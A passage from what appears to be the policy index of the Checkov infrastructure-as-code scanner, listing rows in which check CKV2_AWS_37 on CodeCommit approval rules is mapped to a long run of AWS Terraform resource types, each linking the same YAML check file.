CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1477 | CKV2_AWS_37 | resource | aws_eks_pod_identity_association | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1478 | CKV2_AWS_37 | resource | aws_elastic_beanstalk_application | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1479 | CKV2_AWS_37 | resource | aws_elastic_beanstalk_application_version | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1480 | CKV2_AWS_37 | resource | aws_elastic_beanstalk_configuration_template | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1481 | CKV2_AWS_37 | resource | aws_elastic_beanstalk_environment | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1482 | CKV2_AWS_37 | resource | aws_elasticache_cluster | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1483 | CKV2_AWS_37 | resource | aws_elasticache_global_replication_group | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1484 | CKV2_AWS_37 | resource | aws_elasticache_parameter_group | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1485 | CKV2_AWS_37 | resource | aws_elasticache_replication_group | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1486 | CKV2_AWS_37 | resource | aws_elasticache_reserved_cache_node | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1487 | CKV2_AWS_37 | resource | aws_elasticache_security_group | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1488 | CKV2_AWS_37 | resource | aws_elasticache_serverless_cache | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1489 | CKV2_AWS_37 | resource | aws_elasticache_subnet_group | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1490 | CKV2_AWS_37 | resource | aws_elasticache_user | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1491 | CKV2_AWS_37 | resource | aws_elasticache_user_group | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1492 | CKV2_AWS_37 | resource | aws_elasticache_user_group_association | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1493 | CKV2_AWS_37 | resource | aws_elasticsearch_domain | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1494 | CKV2_AWS_37 | resource | aws_elasticsearch_domain_policy | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1495 | CKV2_AWS_37 | resource | aws_elasticsearch_domain_saml_options | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1496 | CKV2_AWS_37 | resource | aws_elasticsearch_vpc_endpoint | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1497 | CKV2_AWS_37 | resource | aws_elastictranscoder_pipeline | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1498 | CKV2_AWS_37 | resource | aws_elastictranscoder_preset | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1499 | CKV2_AWS_37 | resource | aws_elb | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1500 | CKV2_AWS_37 | resource | aws_elb_attachment | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1501 | CKV2_AWS_37 | resource | aws_emr_block_public_access_configuration | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1502 | CKV2_AWS_37 | resource | aws_emr_cluster | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1503 | CKV2_AWS_37 | resource | aws_emr_instance_fleet | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1504 | CKV2_AWS_37 | resource | aws_emr_instance_group | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1505 | CKV2_AWS_37 | resource | aws_emr_managed_scaling_policy | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1506 | CKV2_AWS_37 | resource | aws_emr_security_configuration | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1507 | CKV2_AWS_37 | resource | aws_emr_studio | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1508 | CKV2_AWS_37 | resource | aws_emr_studio_session_mapping | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1509 | CKV2_AWS_37 | resource | aws_emrcontainers_job_template | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1510 | CKV2_AWS_37 | resource | aws_emrcontainers_virtual_cluster | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1511 | CKV2_AWS_37 | resource | aws_emrserverless_application | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1512 | CKV2_AWS_37 | resource | aws_evidently_feature | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1513 | CKV2_AWS_37 | resource | aws_evidently_launch | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1514 | CKV2_AWS_37 | resource | aws_evidently_project | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1515 | CKV2_AWS_37 | resource | aws_evidently_segment | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1516 | CKV2_AWS_37 | resource | aws_finspace_kx_cluster | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1517 | CKV2_AWS_37 | resource | aws_finspace_kx_database | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1518 | CKV2_AWS_37 | resource | aws_finspace_kx_dataview | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1519 | CKV2_AWS_37 | resource | aws_finspace_kx_environment | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1520 | CKV2_AWS_37 | resource | aws_finspace_kx_scaling_group | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1521 | CKV2_AWS_37 | resource | aws_finspace_kx_user | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1522 | CKV2_AWS_37 | resource | aws_finspace_kx_volume | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1523 | CKV2_AWS_37 | resource | aws_fis_experiment_template | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1524 | CKV2_AWS_37 | resource | aws_flow_log | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1525 | CKV2_AWS_37 | resource | aws_fms_admin_account | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1526 | CKV2_AWS_37 | resource | aws_fms_policy | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1527 | CKV2_AWS_37 | resource | aws_fms_resource_set | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1528 | CKV2_AWS_37 | resource | aws_fsx_backup | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1529 | CKV2_AWS_37 | resource | aws_fsx_data_repository_association | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1530 | CKV2_AWS_37 | resource | aws_fsx_file_cache | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1531 | CKV2_AWS_37 | resource | aws_fsx_lustre_file_system | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1532 | CKV2_AWS_37 | resource | aws_fsx_ontap_file_system | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1533 | CKV2_AWS_37 | resource | aws_fsx_ontap_storage_virtual_machine | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1534 | CKV2_AWS_37 | resource | aws_fsx_ontap_volume | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1535 | CKV2_AWS_37 | resource | aws_fsx_openzfs_file_system | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1536 | CKV2_AWS_37 | resource | aws_fsx_openzfs_snapshot | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1537 | CKV2_AWS_37 | resource | aws_fsx_openzfs_volume | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1538 | CKV2_AWS_37 | resource | aws_fsx_windows_file_system | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1539 | CKV2_AWS_37 | resource | aws_gamelift_alias | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1540 | CKV2_AWS_37 | resource | aws_gamelift_build | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1541 | CKV2_AWS_37 | resource | aws_gamelift_fleet | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1542 | CKV2_AWS_37 | resource | aws_gamelift_game_server_group | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1543 | CKV2_AWS_37 | resource | aws_gamelift_game_session_queue | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1544 | CKV2_AWS_37 | resource | aws_gamelift_script | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1545 | CKV2_AWS_37 | resource | aws_glacier_vault | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1546 | CKV2_AWS_37 | resource | aws_glacier_vault_lock | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1547 | CKV2_AWS_37 | resource | aws_globalaccelerator_accelerator | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1548 | CKV2_AWS_37 | resource | aws_globalaccelerator_cross_account_attachment | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1549 | CKV2_AWS_37 | resource | aws_globalaccelerator_custom_routing_accelerator | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1550 | CKV2_AWS_37 | resource | aws_globalaccelerator_custom_routing_endpoint_group | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1551 | CKV2_AWS_37 | resource | aws_globalaccelerator_custom_routing_listener | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1552 | CKV2_AWS_37 | resource | aws_globalaccelerator_endpoint_group | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1553 | CKV2_AWS_37 | resource | aws_globalaccelerator_listener | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1554 | CKV2_AWS_37 | resource | aws_glue_catalog_database | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1555 | CKV2_AWS_37 | resource | aws_glue_catalog_table | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1556 | CKV2_AWS_37 | resource | aws_glue_catalog_table_optimizer | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1557 | CKV2_AWS_37 | resource | aws_glue_classifier | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1558 | CKV2_AWS_37 | resource | aws_glue_connection | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1559 | CKV2_AWS_37 | resource | aws_glue_crawler | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1560 | CKV2_AWS_37 | resource | aws_glue_data_catalog_encryption_settings | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1561 | CKV2_AWS_37 | resource | aws_glue_data_quality_ruleset | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1562 | CKV2_AWS_37 | resource | aws_glue_dev_endpoint | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1563 | CKV2_AWS_37 | resource | aws_glue_job | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1564 | CKV2_AWS_37 | resource | aws_glue_ml_transform | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1565 | CKV2_AWS_37 | resource | aws_glue_partition | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1566 | CKV2_AWS_37 | resource | aws_glue_partition_index | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1567 | CKV2_AWS_37 | resource | aws_glue_registry | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1568 | CKV2_AWS_37 | resource | aws_glue_resource_policy | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1569 | CKV2_AWS_37 | resource | aws_glue_schema | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1570 | CKV2_AWS_37 | resource | aws_glue_security_configuration | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1571 | CKV2_AWS_37 | resource | aws_glue_trigger | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1572 | CKV2_AWS_37 | resource | aws_glue_user_defined_function | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1573 | CKV2_AWS_37 | resource | aws_glue_workflow | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1574 | CKV2_AWS_37 | resource | aws_grafana_license_association | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1575 | CKV2_AWS_37 | resource | aws_grafana_role_association | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1576 | CKV2_AWS_37 | resource | aws_grafana_workspace | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1577 | CKV2_AWS_37 | resource | aws_grafana_workspace_api_key | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1578 | CKV2_AWS_37 | resource | aws_grafana_workspace_saml_configuration | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1579 | CKV2_AWS_37 | resource | aws_grafana_workspace_service_account | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1580 | CKV2_AWS_37 | resource | aws_grafana_workspace_service_account_token | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1581 | CKV2_AWS_37 | resource | aws_guardduty_detector | Ensure CodeCommit associates an approval rule | Terraform | 